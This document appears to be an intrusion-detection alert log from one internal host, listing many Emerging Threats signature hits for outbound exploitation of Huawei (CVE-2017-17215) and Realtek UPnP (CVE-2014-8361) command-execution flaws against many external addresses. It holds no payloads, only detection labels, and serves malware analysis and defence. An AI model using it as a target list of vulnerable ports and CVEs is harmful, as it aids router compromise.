07/20/24-23:01:21.954501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37116	37215	192.168.2.23	27.137.24.94
07/20/24-23:01:47.818739	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49766	52869	192.168.2.23	67.31.108.66
07/20/24-23:01:43.541579	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45090	52869	192.168.2.23	213.118.6.220
07/20/24-23:01:20.149798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58578	37215	192.168.2.23	23.212.5.129
07/20/24-23:01:41.443693	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58424	52869	192.168.2.23	70.82.6.11
07/20/24-23:01:44.114134	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60424	52869	192.168.2.23	32.0.100.142
07/20/24-23:01:54.881105	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33492	52869	192.168.2.23	135.46.10.64
07/20/24-23:01:31.314147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58596	52869	192.168.2.23	36.69.228.71
07/20/24-23:01:46.284457	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53406	52869	192.168.2.23	212.16.123.155
07/20/24-23:01:42.462291	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46370	52869	192.168.2.23	187.89.64.185
07/20/24-23:02:00.056416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55060	52869	192.168.2.23	171.38.97.128
07/20/24-23:02:02.632381	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49310	52869	192.168.2.23	112.44.8.51
07/20/24-23:01:42.696197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41620	52869	192.168.2.23	174.232.185.220
07/20/24-23:01:44.440718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55302	52869	192.168.2.23	49.137.23.5
07/20/24-23:00:59.218458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51490	37215	192.168.2.23	41.75.68.114
07/20/24-23:01:45.519460	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36476	52869	192.168.2.23	147.236.68.25
07/20/24-23:01:34.045144	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38872	37215	192.168.2.23	197.95.167.27
07/20/24-23:01:44.156178	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58330	52869	192.168.2.23	221.223.71.222
07/20/24-23:01:20.593640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50794	52869	192.168.2.23	90.205.64.234
07/20/24-23:01:42.778303	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41608	52869	192.168.2.23	63.208.18.63
07/20/24-23:01:44.674251	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49456	52869	192.168.2.23	37.192.4.35
07/20/24-23:01:47.829810	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46942	52869	192.168.2.23	207.5.145.91
07/20/24-23:01:04.227976	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39874	37215	192.168.2.23	197.234.180.134
07/20/24-23:01:52.684130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44022	52869	192.168.2.23	2.109.1.91
07/20/24-23:01:07.114267	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48818	37215	192.168.2.23	157.195.69.11
07/20/24-23:01:25.526897	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48868	52869	192.168.2.23	116.88.149.60
07/20/24-23:01:41.699842	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57614	52869	192.168.2.23	70.95.192.176
07/20/24-23:01:41.303455	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44668	52869	192.168.2.23	211.87.162.144
07/20/24-23:01:43.636703	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37804	52869	192.168.2.23	71.221.213.203
07/20/24-23:01:21.952782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49764	37215	192.168.2.23	41.89.247.80
07/20/24-23:01:49.064169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43312	52869	192.168.2.23	203.94.134.229
07/20/24-23:01:00.640312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34864	37215	192.168.2.23	197.115.124.156
07/20/24-23:01:31.981855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46582	37215	192.168.2.23	197.184.167.162
07/20/24-23:01:41.340201	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37918	52869	192.168.2.23	220.210.17.223
07/20/24-23:01:46.985099	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51738	52869	192.168.2.23	23.8.251.245
07/20/24-23:01:47.766845	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49744	52869	192.168.2.23	57.81.97.111
07/20/24-23:01:34.045144	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51684	37215	192.168.2.23	157.248.228.18
07/20/24-23:01:08.659435	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51832	52869	192.168.2.23	78.39.181.117
07/20/24-23:01:42.637859	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39736	52869	192.168.2.23	58.25.190.68
07/20/24-23:01:53.581574	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55926	52869	192.168.2.23	93.94.222.156
07/20/24-23:01:06.989167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54882	37215	192.168.2.23	41.134.100.161
07/20/24-23:01:08.589759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35948	52869	192.168.2.23	27.130.132.139
07/20/24-23:01:42.115230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48868	52869	192.168.2.23	156.42.191.231
07/20/24-23:01:31.591880	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50890	52869	192.168.2.23	172.14.168.150
07/20/24-23:01:00.633642	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42434	37215	192.168.2.23	155.28.185.96
07/20/24-23:01:08.559170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47126	52869	192.168.2.23	190.124.94.237
07/20/24-23:01:40.286738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54904	37215	192.168.2.23	157.149.48.241
07/20/24-23:01:27.653586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33690	37215	192.168.2.23	192.80.253.11
07/20/24-23:01:07.022763	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57968	37215	192.168.2.23	171.136.141.166
07/20/24-23:01:43.874054	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37088	52869	192.168.2.23	162.100.122.131
07/20/24-23:01:50.147840	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34522	52869	192.168.2.23	191.136.148.80
07/20/24-23:01:42.839255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51086	52869	192.168.2.23	145.203.252.98
07/20/24-23:01:25.263099	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33996	52869	192.168.2.23	181.111.14.150
07/20/24-23:01:43.965131	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41790	52869	192.168.2.23	24.0.173.57
07/20/24-23:01:41.295497	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36678	52869	192.168.2.23	58.43.60.192
07/20/24-23:01:42.704900	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56180	52869	192.168.2.23	191.59.254.237
07/20/24-23:01:55.974605	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53306	52869	192.168.2.23	111.101.151.97
07/20/24-23:01:46.817503	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39336	52869	192.168.2.23	42.169.174.111
07/20/24-23:01:44.680845	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46268	52869	192.168.2.23	191.8.175.218
07/20/24-23:01:44.757783	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45030	52869	192.168.2.23	106.184.161.191
07/20/24-23:01:43.946478	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51148	52869	192.168.2.23	108.216.198.203
07/20/24-23:01:51.290015	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43800	52869	192.168.2.23	9.66.181.144
07/20/24-23:01:02.113054	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35512	37215	192.168.2.23	85.79.139.138
07/20/24-23:01:11.816504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53168	37215	192.168.2.23	157.236.178.97
07/20/24-23:01:10.491660	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39696	52869	192.168.2.23	44.76.102.214
07/20/24-23:00:59.204975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48742	37215	192.168.2.23	197.251.31.217
07/20/24-23:01:50.085627	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42686	52869	192.168.2.23	138.246.10.144
07/20/24-23:01:46.308516	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54334	52869	192.168.2.23	36.130.15.144
07/20/24-23:02:00.856771	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42370	52869	192.168.2.23	164.216.95.45
07/20/24-23:01:07.018425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59276	37215	192.168.2.23	162.118.10.225
07/20/24-23:01:20.169339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33182	37215	192.168.2.23	157.202.95.80
07/20/24-23:01:40.322860	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48070	37215	192.168.2.23	197.89.86.7
07/20/24-23:00:57.221790	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53842	37215	192.168.2.23	197.55.83.122
07/20/24-23:01:42.641430	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33448	52869	192.168.2.23	67.229.67.72
07/20/24-23:01:46.113314	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34652	52869	192.168.2.23	78.241.170.132
07/20/24-23:01:52.041756	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36888	52869	192.168.2.23	135.204.232.202
07/20/24-23:01:47.092270	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54620	52869	192.168.2.23	41.203.104.16
07/20/24-23:01:27.650975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35764	37215	192.168.2.23	222.180.112.139
07/20/24-23:01:44.602822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57726	52869	192.168.2.23	34.53.132.35
07/20/24-23:01:34.043969	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49582	37215	192.168.2.23	125.81.157.125
07/20/24-23:01:45.104633	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37702	52869	192.168.2.23	223.250.7.213
07/20/24-23:01:27.649996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42010	37215	192.168.2.23	197.216.112.16
07/20/24-23:01:04.747554	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57824	52869	192.168.2.23	43.227.14.32
07/20/24-23:01:43.938688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49812	52869	192.168.2.23	4.66.151.191
07/20/24-23:01:58.028191	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40478	52869	192.168.2.23	175.65.204.131
07/20/24-23:01:08.683685	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33344	52869	192.168.2.23	117.76.49.30
07/20/24-23:01:31.979752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48092	37215	192.168.2.23	197.207.171.251
07/20/24-23:01:52.625240	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49526	52869	192.168.2.23	200.250.178.79
07/20/24-23:01:14.100332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58066	37215	192.168.2.23	41.200.152.219
07/20/24-23:01:20.098209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49382	37215	192.168.2.23	157.234.70.152
07/20/24-23:02:20.374641	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41736	52869	192.168.2.23	198.93.236.85
07/20/24-23:01:04.773524	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39008	52869	192.168.2.23	159.70.111.204
07/20/24-23:01:08.686799	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36000	52869	192.168.2.23	219.114.72.114
07/20/24-23:01:11.828422	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38350	37215	192.168.2.23	197.139.101.249
07/20/24-23:01:49.138222	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38704	52869	192.168.2.23	159.143.86.166
07/20/24-23:01:11.816294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46590	37215	192.168.2.23	157.147.43.148
07/20/24-23:01:20.096752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40856	37215	192.168.2.23	41.15.94.102
07/20/24-23:01:44.954688	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50170	52869	192.168.2.23	183.249.169.230
07/20/24-23:01:07.062666	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48206	37215	192.168.2.23	197.216.11.202
07/20/24-23:01:20.132103	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35824	37215	192.168.2.23	141.24.192.29
07/20/24-23:01:08.663245	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37190	52869	192.168.2.23	99.2.133.89
07/20/24-23:01:26.156407	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38898	52869	192.168.2.23	148.228.70.58
07/20/24-23:01:44.007374	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39942	52869	192.168.2.23	178.91.194.150
07/20/24-23:00:57.222207	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34718	37215	192.168.2.23	197.89.108.63
07/20/24-23:01:42.509004	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49594	52869	192.168.2.23	1.84.241.246
07/20/24-23:01:04.031511	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44118	37215	192.168.2.23	41.78.221.227
07/20/24-23:01:41.275004	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59572	52869	192.168.2.23	53.20.116.108
07/20/24-23:01:06.990165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45840	37215	192.168.2.23	197.128.152.66
07/20/24-23:01:31.979565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53294	37215	192.168.2.23	157.166.228.6
07/20/24-23:01:40.336908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49188	37215	192.168.2.23	41.183.204.254
07/20/24-23:01:42.943881	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53742	52869	192.168.2.23	171.174.164.32
07/20/24-23:01:00.635367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60530	37215	192.168.2.23	41.50.33.93
07/20/24-23:01:27.749737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43122	37215	192.168.2.23	41.28.206.33
07/20/24-23:01:49.356902	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39898	52869	192.168.2.23	13.35.187.229
07/20/24-23:00:57.221802	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43520	37215	192.168.2.23	61.117.29.155
07/20/24-23:01:25.347089	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45246	52869	192.168.2.23	49.81.102.7
07/20/24-23:01:59.745622	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38058	52869	192.168.2.23	119.78.161.123
07/20/24-23:02:02.387600	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47516	52869	192.168.2.23	119.168.200.153
07/20/24-23:01:44.520226	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51562	52869	192.168.2.23	114.151.113.249
07/20/24-23:01:41.494999	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44172	52869	192.168.2.23	219.196.203.133
07/20/24-23:00:59.175742	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58932	37215	192.168.2.23	157.211.77.112
07/20/24-23:01:45.298541	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39444	52869	192.168.2.23	38.110.137.130
07/20/24-23:01:57.434940	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34012	52869	192.168.2.23	74.191.12.65
07/20/24-23:01:06.990535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52666	37215	192.168.2.23	158.38.51.47
07/20/24-23:01:59.377547	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49430	52869	192.168.2.23	208.150.189.204
07/20/24-23:01:42.985200	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48044	52869	192.168.2.23	12.82.126.36
07/20/24-23:01:51.743446	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56730	52869	192.168.2.23	90.237.72.71
07/20/24-23:01:03.953624	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52432	52869	192.168.2.23	150.181.42.248
07/20/24-23:01:48.386032	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41382	52869	192.168.2.23	85.103.184.164
07/20/24-23:01:43.054762	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32944	52869	192.168.2.23	85.15.162.89
07/20/24-23:01:53.625100	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46808	52869	192.168.2.23	38.184.175.46
07/20/24-23:01:14.140178	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57756	52869	192.168.2.23	87.178.133.43
07/20/24-23:01:34.048825	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49920	37215	192.168.2.23	203.33.109.223
07/20/24-23:01:02.047411	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43302	37215	192.168.2.23	157.111.26.76
07/20/24-23:01:21.931985	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60650	37215	192.168.2.23	157.111.51.3
07/20/24-23:01:44.099799	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43384	52869	192.168.2.23	101.122.117.242
07/20/24-23:01:48.918065	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43488	52869	192.168.2.23	35.61.70.96
07/20/24-23:01:08.599362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50400	52869	192.168.2.23	71.113.201.241
07/20/24-23:01:06.996056	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56356	37215	192.168.2.23	70.98.158.86
07/20/24-23:01:55.154049	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43950	52869	192.168.2.23	125.58.232.126
07/20/24-23:01:43.147883	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34030	52869	192.168.2.23	63.137.171.145
07/20/24-23:02:11.703257	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51836	52869	192.168.2.23	169.52.197.149
07/20/24-23:01:40.290003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42054	37215	192.168.2.23	41.21.106.63
07/20/24-23:01:31.325694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40842	52869	192.168.2.23	201.230.67.6
07/20/24-23:01:08.609855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38310	52869	192.168.2.23	47.10.251.72
07/20/24-23:01:42.131607	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50228	52869	192.168.2.23	172.233.108.76
07/20/24-23:01:41.991545	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47412	52869	192.168.2.23	197.168.237.206
07/20/24-23:01:44.059102	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57892	52869	192.168.2.23	162.230.61.146
07/20/24-23:01:43.110964	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46540	52869	192.168.2.23	98.147.36.143
07/20/24-23:01:01.189596	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49348	52869	192.168.2.23	131.199.217.59
07/20/24-23:01:42.786028	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45846	52869	192.168.2.23	8.202.120.94
07/20/24-23:01:20.150638	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37246	37215	192.168.2.23	60.7.102.124
07/20/24-23:01:42.189694	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52172	52869	192.168.2.23	128.242.86.47
07/20/24-23:01:42.869521	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47750	52869	192.168.2.23	70.133.231.223
07/20/24-23:01:43.540053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59742	52869	192.168.2.23	207.56.45.233
07/20/24-23:02:17.865555	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40280	52869	192.168.2.23	157.109.59.232
07/20/24-23:01:42.717611	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43206	52869	192.168.2.23	69.239.30.22
07/20/24-23:01:59.799089	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44900	52869	192.168.2.23	24.206.57.165
07/20/24-23:01:45.622888	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53192	52869	192.168.2.23	133.83.21.166
07/20/24-23:01:04.040812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49424	37215	192.168.2.23	157.126.129.17
07/20/24-23:01:27.677519	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40634	37215	192.168.2.23	157.27.123.11
07/20/24-23:02:13.672930	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36658	52869	192.168.2.23	128.140.142.60
07/20/24-23:01:52.883801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47262	52869	192.168.2.23	122.138.157.236
07/20/24-23:02:27.381027	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54888	52869	192.168.2.23	129.78.244.230
07/20/24-23:01:07.033766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54080	37215	192.168.2.23	124.52.73.80
07/20/24-23:01:31.312311	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39582	52869	192.168.2.23	184.74.79.160
07/20/24-23:01:47.918473	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39424	52869	192.168.2.23	197.213.222.122
07/20/24-23:01:52.388927	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36042	52869	192.168.2.23	71.66.59.209
07/20/24-23:01:41.967549	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49624	52869	192.168.2.23	191.235.3.135
07/20/24-23:01:51.258596	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36072	52869	192.168.2.23	199.106.155.17
